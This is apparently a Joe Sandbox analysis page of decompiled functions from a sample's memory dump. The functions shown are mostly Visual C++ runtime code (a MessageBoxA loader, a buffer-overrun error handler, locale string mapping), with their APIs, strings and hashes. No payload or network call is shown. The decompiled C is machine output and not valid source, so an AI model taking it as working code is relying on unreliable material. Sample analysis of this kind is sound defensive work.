Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: _strlen$File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1978235431-4022980321
Opcode ID: 620f071b09370a035ca3edaabfa0dfd15ca0c1a7b68cbbd8292b60bd17e7d412
Instruction ID: cfd80021ce7259c9bc51858e6ac5dc0fe7837698c7b2368a57208b071177f73e
Opcode Fuzzy Hash: 620f071b09370a035ca3edaabfa0dfd15ca0c1a7b68cbbd8292b60bd17e7d412
Instruction Fuzzy Hash: 1E3128323401246BD720FBB6BC86FEB73A8EB44318F94482FFD15D2152EA7C9595862D

Uniqueness

Uniqueness Score: -1.00%

Function 0042ADD1, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 92
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E0042ADD1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a14) {
				char _v8;
				signed char _v12;
				char _v20;
				intOrPtr* _t13;
				intOrPtr* _t14;
				intOrPtr* _t15;
				intOrPtr* _t18;
				intOrPtr* _t19;
				void* _t22;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t30;
				void* _t32;
				struct HINSTANCE__* _t35;
				void* _t37;

				_t32 = 0;
				_t37 =  *0x432380 - _t32; // 0x0
				if(_t37 != 0) {
					L6:
					_t13 =  *0x43238c; // 0x0
					_t14 = _t13;
					if(_t14 == 0) {
						L14:
						_t15 =  *0x432384; // 0x0
						if(_t15 != 0) {
							_t32 =  *_t15();
							if(_t32 != 0) {
								_t18 =  *0x432388; // 0x0
								_t19 = _t18;
								if(_t19 != 0) {
									_t32 =  *_t19(_t32);
								}
							}
						}
						L18:
						return  *0x432380(_t32, _a4, _a8, _a12);
					}
					_t22 =  *_t14();
					if(_t22 == 0) {
						L10:
						if( *0x432220 < 4) {
							_a14 = _a14 | 0x00000004;
						} else {
							_a14 = _a14 | 0x00000020;
						}
						goto L18;
					}
					_push( &_v8);
					_push(0xc);
					_push( &_v20);
					_push(1);
					_push(_t22);
					if( *0x432390() == 0 || (_v12 & 0x00000001) == 0) {
						goto L10;
					} else {
						goto L14;
					}
				}
				_push(LoadLibraryA("user32.dll"));
				_pop(_t35);
				if(_t35 == 0) {
					L12:
					return 0;
				}
				_t26 = GetProcAddress(_t35, "MessageBoxA");
				 *0x432380 = _t26;
				if(_t26 == 0) {
					goto L12;
				} else {
					 *0x432384 = GetProcAddress(_t35, "GetActiveWindow");
					 *0x432388 = GetProcAddress(_t35, "GetLastActivePopup");
					if( *0x432214 == 2) {
						_t30 = GetProcAddress(_t35, "GetUserObjectInformationA");
						 *0x432390 = _t30;
						if(_t30 != 0) {
							 *0x43238c = GetProcAddress(_t35, "GetProcessWindowStation");
						}
					}
					goto L6;
				}
			}

0x0042add8
0x0042adda
0x0042ade2
0x0042ae51
0x0042ae51
0x0042ae56
0x0042ae58
0x0042ae96
0x0042ae96
0x0042ae9d
0x0042aea2
0x0042aea5
0x0042aea7
0x0042aeac
0x0042aeae
0x0042aeb3
0x0042aeb3
0x0042aeae
0x0042aea5
0x0042aeb5
0x00000000
0x0042aebf
0x0042ae5c
0x0042ae5e
0x0042ae7d
0x0042ae84
0x0042ae90
0x0042ae86
0x0042ae86
0x0042ae86
0x00000000
0x0042ae84
0x0042ae63
0x0042ae64
0x0042ae69
0x0042ae6a
0x0042ae6c
0x0042ae75
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ae75
0x0042adef
0x0042adf0
0x0042adf3
0x0042ae8c
0x00000000
0x0042ae8c
0x0042ae05
0x0042ae09
0x0042ae0e
0x00000000
0x0042ae10
0x0042ae1e
0x0042ae2c
0x0042ae31
0x0042ae3b
0x0042ae3d
0x0042ae42
0x0042ae4c
0x0042ae4c
0x0042ae42
0x00000000
0x0042ae31

APIs

LoadLibraryA.KERNEL32(user32.dll,0042E5E8,?,?), ref: 0042ADE9
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0042AE05
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0042AE16
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0042AE23
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 0042AE39
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0042AE4A

Strings

user32.dll, xrefs: 0042ADE4
GetUserObjectInformationA, xrefs: 0042AE33
GetActiveWindow, xrefs: 0042AE10
MessageBoxA, xrefs: 0042ADFF
GetLastActivePopup, xrefs: 0042AE18
GetProcessWindowStation, xrefs: 0042AE44

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-1612076079
Opcode ID: 6bc6ecb5ebc8bdb7638cf0fb2f1917520fdb4cdc98c15ff18e0f97a87106b54a
Instruction ID: e2acedf3f2f0063860d813a0d0a85b562f0771d9fa797b12d558ef091ec9b567
Opcode Fuzzy Hash: 6bc6ecb5ebc8bdb7638cf0fb2f1917520fdb4cdc98c15ff18e0f97a87106b54a
Instruction Fuzzy Hash: 2B218531740326ABDB119BB5BE85B6B3BA8A704740B91143BFD01D6190D7BC881ADB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406260, Relevance: 19.6, APIs: 13, Instructions: 103
fileCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00406260(CHAR* _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t9;
				signed int _t13;
				void* _t28;
				signed char _t30;
				void* _t35;
				void* _t41;
				void* _t45;

				_t41 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0, 0);
				if(_t41 != 0xffffffff) {
					_t45 = CreateFileMappingA(_t41, 0, 2, 0, 0, 0);
					if(_t45 != 0) {
						_push(MapViewOfFile(_t45, 4, 0, 0, 0));
						_pop(_t35);
						if(_t35 != 0) {
							 *0x431c84 = 6;
							_t9 = GetFileSize(_t41, 0);
							if(_t9 != 0xffffffff) {
								 *0x431c84 =  *0x431c84 ^ 0x00000049;
								_push(_a8);
								_push(_t9);
								_push(_t35);
								E00405F30(_t28, _t35, _t41);
								UnmapViewOfFile(_t35);
								_t30 =  *0x431c84; // 0x0
								 *0x431c84 = _t30 | 0x000000c0;
								CloseHandle(_t45);
								_t13 =  *0x431c84; // 0x0
								 *0x431c84 = _t13 * 0x4b;
								CloseHandle(_t41);
								asm("pushfd");
								asm("popfd");
								return 1;
							} else {
								 *0x431c84 = 0xcd;
								UnmapViewOfFile(_t35);
								CloseHandle(_t45);
								 *0x431c84 = 6;
								CloseHandle(_t41);
								return 0;
							}
						} else {
							CloseHandle(_t41);
							CloseHandle(_t45);
							return 0;
						}
					} else {
						CloseHandle(_t41);
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0040627b
0x00406280
0x0040629a
0x0040629c
0x004062ba
0x004062bb
0x004062be
0x004062d5
0x004062dc
0x004062e5
0x0040630e
0x00406319
0x0040631a
0x0040631b
0x0040631c
0x00406325
0x0040632b
0x0040633b
0x00406341
0x00406343
0x0040634d
0x00406352
0x00406356
0x0040635a
0x0040635c
0x004062e7
0x004062e8
0x004062ef
0x004062fc
0x004062ff
0x00406306
0x0040630d
0x0040630d
0x004062c0
0x004062c7
0x004062ca
0x004062d1
0x004062d1
0x0040629e
0x0040629f
0x004062a9
0x004062a9
0x00406282
0x00406285
0x00406285

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,73BB81D0,00406532,?, :\,?,?,?), ref: 00406275
CreateFileMappingA.KERNEL32 ref: 00406292
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040629F

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CreateFile$CloseHandleMapping
String ID:
API String ID: 2353530451-0
Opcode ID: bec624f4a43bacd025f1211ea9511ca76d596867c79589021004622166ae1d75
Instruction ID: 6adadf9bbac14b83bd48955fa3ed62d8f5098c9c527d376d3fdb0624bd095c42
Opcode Fuzzy Hash: bec624f4a43bacd025f1211ea9511ca76d596867c79589021004622166ae1d75
Instruction Fuzzy Hash: 4C2102363852207AF221677ABD49FDB3F988B86730F111136F744E22E1DAB46807867D

Uniqueness

Uniqueness Score: -1.00%

Function 0041F830, Relevance: 19.6, APIs: 13, Instructions: 59
memorysleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F830(void* __ecx) {
				void* _t12;
				void* _t13;
				void* _t14;
				long _t22;
				int _t23;
				void* _t38;

				_t38 = __ecx;
				_t12 =  *(__ecx + 0x164);
				if(_t12 != 0) {
					HeapFree(GetProcessHeap(), 0, _t12);
				}
				_t13 =  *(_t38 + 0x168);
				if(_t13 != 0) {
					HeapFree(GetProcessHeap(), 0, _t13);
				}
				_t14 =  *(_t38 + 0x16c);
				if(_t14 != 0) {
					HeapFree(GetProcessHeap(), 0, _t14);
				}
				CloseHandle( *(_t38 + 0x14c));
				CloseHandle( *(_t38 + 0x150));
				CloseHandle( *(_t38 + 0x154));
				CloseHandle( *(_t38 + 0x158));
				CloseHandle( *(_t38 + 0x15c));
				_t22 =  *(_t38 + 0x160);
				if(_t22 != 0) {
					_t23 = SetEvent( *(_t38 + 0x148));
					Sleep(0x3e8);
					 *(_t38 + 0x160) = 0;
					return _t23;
				}
				return _t22;
			}

0x0041f838
0x0041f83a
0x0041f849
0x0041f851
0x0041f851
0x0041f853
0x0041f85b
0x0041f863
0x0041f863
0x0041f865
0x0041f86d
0x0041f875
0x0041f875
0x0041f884
0x0041f88d
0x0041f896
0x0041f89f
0x0041f8a8
0x0041f8aa
0x0041f8b2
0x0041f8bb
0x0041f8c6
0x0041f8cc
0x00000000
0x0041f8cc
0x0041f8d9

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0041F84E
HeapFree.KERNEL32(00000000), ref: 0041F851
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F860
HeapFree.KERNEL32(00000000), ref: 0041F863
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F872
HeapFree.KERNEL32(00000000), ref: 0041F875
CloseHandle.KERNEL32(?), ref: 0041F884
CloseHandle.KERNEL32(?), ref: 0041F88D
CloseHandle.KERNEL32(?), ref: 0041F896
CloseHandle.KERNEL32(?), ref: 0041F89F
CloseHandle.KERNEL32(?), ref: 0041F8A8
SetEvent.KERNEL32(?), ref: 0041F8BB
Sleep.KERNEL32(000003E8), ref: 0041F8C6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$CloseHandle$FreeProcess$EventSleep
String ID:
API String ID: 2749338665-0
Opcode ID: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction ID: 76c645c424173bd840e30338d02661637eb24344bf89ff37b7fb3177c525ef51
Opcode Fuzzy Hash: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction Fuzzy Hash: 2D11BA71300704ABE620ABBADC84FEBF3ECAF98751F05492AE559C7250CA74F8418A64

Uniqueness

Uniqueness Score: -1.00%

Function 00426501, Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 42%

			E00426501(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t28;
				intOrPtr* _t29;
				void* _t35;
				void* _t38;
				intOrPtr _t55;
				void* _t56;
				void* _t64;
				void* _t65;
				void* _t68;
				void* _t73;
				char* _t74;
				void* _t75;
				void* _t76;
				intOrPtr _t77;
				void* _t78;
				intOrPtr _t79;

				_t75 = __esi;
				_t73 = __edi;
				_t64 = __ebx;
				_push(0x118);
				_push(0x42e7a0);
				L12();
				_t28 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t77 - 0x1c)) = _t28;
				_t29 =  *0x432050; // 0x0
				if(_t29 == 0) {
					if( *((intOrPtr*)(_t77 + 8)) == 1) {
						_t74 = "Buffer overrun detected!";
						 *(_t77 - 0x128) = "A buffer overrun has been detected which has corrupted the program\'s\ninternal state.  The program cannot safely continue execution and must\nnow be terminated.\n";
						_t76 = 0xb9;
					} else {
						_t74 = "Unknown security failure detected!";
						 *(_t77 - 0x128) = "A security error of unknown cause has been detected which has\ncorrupted the program\'s internal state.  The program cannot safely\ncontinue execution and must now be terminated.\n";
						_t76 = 0xd4;
					}
					 *((char*)(_t77 - 0x20)) = 0;
					if(GetModuleFileNameA(0, _t77 - 0x124, 0x104) == 0) {
						E00427340(_t77 - 0x124, "<program name unknown>");
					}
					_t64 = _t77 - 0x124;
					_t35 = _t64;
					if(E004263F0(_t35) + 0xb > 0x3c) {
						_t56 = _t64;
						_t65 = E004263F0(_t56);
						_t64 = _t65 + _t77 - 0xf3;
						E00425B10(_t64, "...", 3);
						_t79 = _t79 + 0x10;
					}
					_t38 = E004263F0(_t64);
					_pop(_t68);
					E004254B0(_t38 + _t76 + 0x0000000c + 0x00000003 & 0xfffffffc, _t68);
					 *((intOrPtr*)(_t77 - 0x18)) = _t79;
					_t75 = _t79;
					E00427340(_t75, _t74);
					_t73 = "\n\n";
					E00427350(_t75, _t73);
					E00427350(_t75, "Program: ");
					E00427350(_t75, _t64);
					E00427350(_t75, _t73);
					E00427350(_t75,  *(_t77 - 0x128));
					_push(0x12010);
					_push("Microsoft Visual C++ Runtime Library");
					_push(_t75);
					E0042ADD1();
					_t79 = _t79 + 0x3c;
				} else {
					 *(_t77 - 4) = 0;
					 *_t29( *((intOrPtr*)(_t77 + 8)),  *((intOrPtr*)(_t77 + 0xc)));
					 *(_t77 - 4) =  *(_t77 - 4) | 0xffffffff;
				}
				E00429328(3);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_push(E0042521C);
				_push( *[fs:0x0]);
				 *((intOrPtr*)(_t79 + 0x10)) = _t77;
				_t78 = _t79 + 0x10;
				_push(_t64);
				_push(_t75);
				_push(_t73);
				 *((intOrPtr*)(_t78 - 0x18)) = _t79 -  *((intOrPtr*)(_t79 + 0x10));
				_push( *((intOrPtr*)(_t78 - 8)));
				 *((intOrPtr*)(_t78 - 4)) = 0xffffffff;
				 *((intOrPtr*)(_t78 - 8)) =  *((intOrPtr*)(_t78 - 4));
				_t55 = _t78 - 0x10;
				 *[fs:0x0] = _t55;
				return _t55;
			}

0x00426501
0x00426501
0x00426501
0x00426501
0x00426506
0x0042650b
0x00426510
0x00426515
0x00426518
0x00426521
0x00426546
0x0042655e
0x00426563
0x0042656d
0x00426548
0x00426548
0x0042654d
0x00426557
0x00426557
0x00426572
0x0042658a
0x00426598
0x0042659e
0x0042659f
0x004265a6
0x004265b4
0x004265b7
0x004265bf
0x004265c9
0x004265d3
0x004265d8
0x004265d8
0x004265dc
0x004265e1
0x004265ec
0x004265f1
0x004265f5
0x004265f8
0x004265fd
0x00426604
0x0042660f
0x00426616
0x0042661d
0x00426629
0x0042662e
0x00426633
0x00426638
0x00426639
0x0042663e
0x00426523
0x00426523
0x0042652c
0x00426530
0x00426530
0x00426643
0x00426648
0x00426649
0x0042664a
0x0042664b
0x0042664c
0x00426657
0x0042665c
0x00426660
0x00426666
0x00426667
0x00426668
0x0042666c
0x0042666f
0x00426673
0x0042667a
0x0042667d
0x00426680
0x00426686

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0042E7A0,00000118,0042485B,00000001,00000000,0042E4C0,00000008,0042A54F,00000000,00000000,00000000), ref: 00426582
_strlen.LIBCMT ref: 004265A8
_strlen.LIBCMT ref: 004265B9
_strlen.LIBCMT ref: 004265DC

Strings

<program name unknown>, xrefs: 0042658C
..., xrefs: 004265CD
Buffer overrun detected!, xrefs: 0042655E, 004265F6
Microsoft Visual C++ Runtime Library, xrefs: 00426633
Program: , xrefs: 00426609
B, xrefs: 004265FD
Unknown security failure detected!, xrefs: 00426548

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: _strlen$FileModuleName
String ID: ...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!$B
API String ID: 1637341245-85196374
Opcode ID: 181c0218036d1a6a9e5a379c3e835756e244b28db54fb425ed49da2fbcf91660
Instruction ID: 2136243221f77bc0185fee0148c2440afc05a39f0889b82f7fc29e2ff9eb173e
Opcode Fuzzy Hash: 181c0218036d1a6a9e5a379c3e835756e244b28db54fb425ed49da2fbcf91660
Instruction Fuzzy Hash: B531D572B012347BD715A7A2BC42FDE3728DF09318FD4045BF904A6182DA7D9A918B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0042A027, Relevance: 16.8, APIs: 11, Instructions: 305
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E0042A027(void* __ebx, void* __edi, int __esi, void* __eflags) {
				signed int _t119;
				intOrPtr _t120;
				signed int _t122;
				char* _t125;
				int _t132;
				int _t137;
				int _t138;
				short* _t147;
				short* _t156;
				short* _t160;
				short* _t163;
				int _t164;
				signed int _t165;
				long _t170;
				signed int _t173;
				int _t182;
				char* _t184;
				signed int _t187;
				int _t188;
				signed int _t189;
				int _t191;
				void* _t193;
				char* _t194;
				char* _t196;
				char* _t197;
				signed int _t200;

				_t186 = __esi;
				_push(0x38);
				_push(0x42eb20);
				E0042664C(__ebx, __edi, __esi);
				_t200 =  *0x432264; // 0x1
				if(_t200 == 0) {
					_t186 = 1;
					if(LCMapStringW(0, 0x100, 0x42eb1c, 1, 0, 0) == 0) {
						_t170 = GetLastError();
						__eflags = _t170 - 0x78;
						if(_t170 == 0x78) {
							 *0x432264 = 2;
						}
					} else {
						 *0x432264 = 1;
					}
				}
				if( *(_t193 + 0x14) <= 0) {
					L11:
					_t119 =  *0x432264; // 0x1
					if(_t119 == 2 || _t119 == 0) {
						 *(_t193 - 0x28) = 0;
						_t184 = 0;
						 *(_t193 - 0x3c) = 0;
						__eflags =  *(_t193 + 8);
						if( *(_t193 + 8) == 0) {
							_t138 =  *0x4323d8; // 0x0
							 *(_t193 + 8) = _t138;
						}
						__eflags =  *(_t193 + 0x20);
						if( *(_t193 + 0x20) == 0) {
							_t137 =  *0x4323e8; // 0x0
							 *(_t193 + 0x20) = _t137;
						}
						_push( *(_t193 + 8));
						_t120 = E0042C8B2();
						 *((intOrPtr*)(_t193 - 0x40)) = _t120;
						__eflags = _t120 - 0xffffffff;
						if(_t120 != 0xffffffff) {
							__eflags = _t120 -  *(_t193 + 0x20);
							if(__eflags == 0) {
								_push(LCMapStringA( *(_t193 + 8),  *(_t193 + 0xc),  *(_t193 + 0x10),  *(_t193 + 0x14),  *(_t193 + 0x18),  *(_t193 + 0x1c)));
								_pop(_t187);
								L61:
								__eflags =  *(_t193 - 0x28);
								if(__eflags != 0) {
									_push( *(_t193 - 0x28));
									E004255BE(0, _t184, _t187, __eflags);
								}
								_t122 = _t187;
								goto L64;
							}
							_push(0);
							_push(0);
							_t176 = _t193 + 0x14;
							_push(_t193 + 0x14);
							_push( *(_t193 + 0x10));
							_push(_t120);
							_push( *(_t193 + 0x20));
							_t125 = E0042C8F5(0, _t184, _t186, __eflags);
							_t196 =  &(_t194[0x18]);
							 *(_t193 - 0x28) = _t125;
							__eflags = _t125;
							if(_t125 == 0) {
								goto L46;
							}
							_t188 = LCMapStringA( *(_t193 + 8),  *(_t193 + 0xc), _t125,  *(_t193 + 0x14), 0, 0);
							 *(_t193 - 0x24) = _t188;
							__eflags = _t188;
							if(_t188 == 0) {
								_t187 =  *(_t193 - 0x48);
								L58:
								__eflags =  *(_t193 - 0x3c);
								if(__eflags != 0) {
									_push(_t184);
									E004255BE(0, _t184, _t187, __eflags);
								}
								goto L61;
							}
							 *(_t193 - 4) = 0;
							E004254B0(_t126 + 0x00000003 & 0xfffffffc, _t176);
							 *(_t193 - 0x18) = _t196;
							_t184 = _t196;
							 *(_t193 - 0x44) = _t184;
							E00425F70(_t184, 0, _t188);
							_t197 =  &(_t196[0xc]);
							 *(_t193 - 4) =  *(_t193 - 4) | 0xffffffff;
							__eflags = _t184;
							if(_t184 != 0) {
								L54:
								_t132 = LCMapStringA( *(_t193 + 8),  *(_t193 + 0xc),  *(_t193 - 0x28),  *(_t193 + 0x14), _t184,  *(_t193 - 0x24));
								 *(_t193 - 0x24) = _t132;
								__eflags = _t132;
								if(__eflags != 0) {
									_push( *(_t193 + 0x1c));
									_push( *(_t193 + 0x18));
									_push(_t193 - 0x24);
									_push(_t184);
									_push( *(_t193 + 0x20));
									_push( *((intOrPtr*)(_t193 - 0x40)));
									_t189 = E0042C8F5(0, _t184, _t188, __eflags);
									asm("sbb esi, esi");
									_t187 =  ~( ~_t189);
									goto L58;
								}
								goto L55;
							} else {
								_t184 = E004263B4( *(_t193 - 0x24));
								__eflags = _t184;
								if(_t184 == 0) {
									L55:
									_t187 = 0;
									goto L58;
								}
								E00425F70(_t184, 0,  *(_t193 - 0x24));
								_t197 =  &(_t197[0xc]);
								 *(_t193 - 0x3c) = 1;
								goto L54;
							}
						} else {
							goto L46;
						}
					} else {
						if(_t119 != 1) {
							L46:
							_t122 = 0;
							L64:
							return E00426687(_t122);
						}
						 *((intOrPtr*)(_t193 - 0x2c)) = 0;
						 *(_t193 - 0x38) = 0;
						 *(_t193 - 0x34) = 0;
						if( *(_t193 + 0x20) == 0) {
							_t164 =  *0x4323e8; // 0x0
							 *(_t193 + 0x20) = _t164;
						}
						_t191 = MultiByteToWideChar( *(_t193 + 0x20), 1 + (0 |  *((intOrPtr*)(_t193 + 0x24)) != 0x00000000) * 8,  *(_t193 + 0x10),  *(_t193 + 0x14), 0, 0);
						 *(_t193 - 0x30) = _t191;
						if(_t191 == 0) {
							goto L46;
						} else {
							 *(_t193 - 4) = 1;
							E004254B0(_t191 + _t191 + 0x00000003 & 0xfffffffc, _t173);
							 *(_t193 - 0x18) = _t194;
							_t147 = _t194;
							 *(_t193 - 0x1c) = _t147;
							 *(_t193 - 4) =  *(_t193 - 4) | 0xffffffff;
							if( *(_t193 - 0x1c) != 0) {
								L21:
								if(MultiByteToWideChar( *(_t193 + 0x20), 1,  *(_t193 + 0x10),  *(_t193 + 0x14),  *(_t193 - 0x1c), _t191) == 0) {
									L36:
									_t220 =  *(_t193 - 0x34);
									if( *(_t193 - 0x34) != 0) {
										_push( *(_t193 - 0x20));
										E004255BE(0, 0, _t191, _t220);
									}
									_t221 =  *(_t193 - 0x38);
									if( *(_t193 - 0x38) != 0) {
										_push( *(_t193 - 0x1c));
										E004255BE(0, 0, _t191, _t221);
									}
									_t122 = 0;
									goto L64;
								}
								0 = LCMapStringW( *(_t193 + 8),  *(_t193 + 0xc),  *(_t193 - 0x1c), _t191, 0, 0);
								 *((intOrPtr*)(_t193 - 0x2c)) = 0;
								if(0 == 0) {
									goto L36;
								}
								if(( *(_t193 + 0xd) & 0x00000004) == 0) {
									 *(_t193 - 4) = 2;
									E004254B0(0, _t173);
									 *(_t193 - 0x18) = _t194;
									_t156 = _t194;
									 *(_t193 - 0x20) = _t156;
									 *(_t193 - 4) =  *(_t193 - 4) | 0xffffffff;
									__eflags =  *(_t193 - 0x20);
									if( *(_t193 - 0x20) != 0) {
										L31:
										__eflags = LCMapStringW( *(_t193 + 8),  *(_t193 + 0xc),  *(_t193 - 0x1c), _t191,  *(_t193 - 0x20), 0);
										if(__eflags != 0) {
											_push(0);
											_push(0);
											__eflags =  *(_t193 + 0x1c);
											if(__eflags != 0) {
												_push( *(_t193 + 0x1c));
												_push( *(_t193 + 0x18));
											} else {
												_push(0);
												_push(0);
											}
											0 = WideCharToMultiByte( *(_t193 + 0x20), 0,  *(_t193 - 0x20), 0, ??, ??, ??, ??);
										}
										goto L36;
									} else {
										_t160 = E004263B4(0);
										 *(_t193 - 0x20) = _t160;
										__eflags = _t160;
										if(__eflags == 0) {
											goto L36;
										}
										 *(_t193 - 0x34) = 1;
										goto L31;
									}
								}
								if( *(_t193 + 0x1c) != 0 && 0 <=  *(_t193 + 0x1c)) {
									LCMapStringW( *(_t193 + 8),  *(_t193 + 0xc),  *(_t193 - 0x1c), _t191,  *(_t193 + 0x18),  *(_t193 + 0x1c));
								}
								goto L36;
							} else {
								_t163 = E004263B4(_t191 + _t191);
								_pop(_t173);
								 *(_t193 - 0x1c) = _t163;
								if(_t163 == 0) {
									goto L46;
								}
								 *(_t193 - 0x38) = 1;
								goto L21;
							}
						}
					}
				}
				_t182 =  *(_t193 + 0x14);
				_t165 =  *(_t193 + 0x10);
				while(1) {
					_t173 = _t182 - 1;
					if( *_t165 == 0) {
						break;
					}
					_t165 = _t165 + 1;
					if(_t173 != 0) {
						continue;
					}
					_t173 = _t173 | 0xffffffff;
					break;
				}
				 *(_t193 + 0x14) =  *(_t193 + 0x14) + (_t165 | 0xffffffff) - _t173;
				goto L11;
			}

0x0042a027
0x0042a027
0x0042a029
0x0042a02e
0x0042a035
0x0042a03b
0x0042a041
0x0042a056
0x0042a060
0x0042a066
0x0042a069
0x0042a06b
0x0042a06b
0x0042a058
0x0042a058
0x0042a058
0x0042a056
0x0042a078
0x0042a095
0x0042a095
0x0042a09d
0x0042a27f
0x0042a282
0x0042a284
0x0042a287
0x0042a28a
0x0042a28c
0x0042a291
0x0042a291
0x0042a294
0x0042a297
0x0042a299
0x0042a29e
0x0042a29e
0x0042a2a1
0x0042a2a4
0x0042a2aa
0x0042a2ad
0x0042a2b0
0x0042a2b9
0x0042a2bc
0x0042a3c8
0x0042a3c9
0x0042a3ca
0x0042a3ca
0x0042a3cd
0x0042a3cf
0x0042a3d2
0x0042a3d7
0x0042a3d8
0x00000000
0x0042a3d8
0x0042a2c2
0x0042a2c3
0x0042a2c4
0x0042a2c7
0x0042a2c8
0x0042a2cb
0x0042a2cc
0x0042a2cf
0x0042a2d4
0x0042a2d7
0x0042a2da
0x0042a2dc
0x00000000
0x00000000
0x0042a2f0
0x0042a2f2
0x0042a2f5
0x0042a2f7
0x0042a39f
0x0042a3a2
0x0042a3a2
0x0042a3a5
0x0042a3a7
0x0042a3a8
0x0042a3ad
0x00000000
0x0042a3a5
0x0042a2fd
0x0042a306
0x0042a30b
0x0042a30e
0x0042a310
0x0042a316
0x0042a31b
0x0042a330
0x0042a334
0x0042a336
0x0042a35b
0x0042a36b
0x0042a371
0x0042a374
0x0042a376
0x0042a37c
0x0042a37f
0x0042a385
0x0042a386
0x0042a387
0x0042a38a
0x0042a396
0x0042a399
0x0042a39b
0x00000000
0x0042a39b
0x00000000
0x0042a338
0x0042a341
0x0042a343
0x0042a345
0x0042a378
0x0042a378
0x00000000
0x0042a378
0x0042a34c
0x0042a351
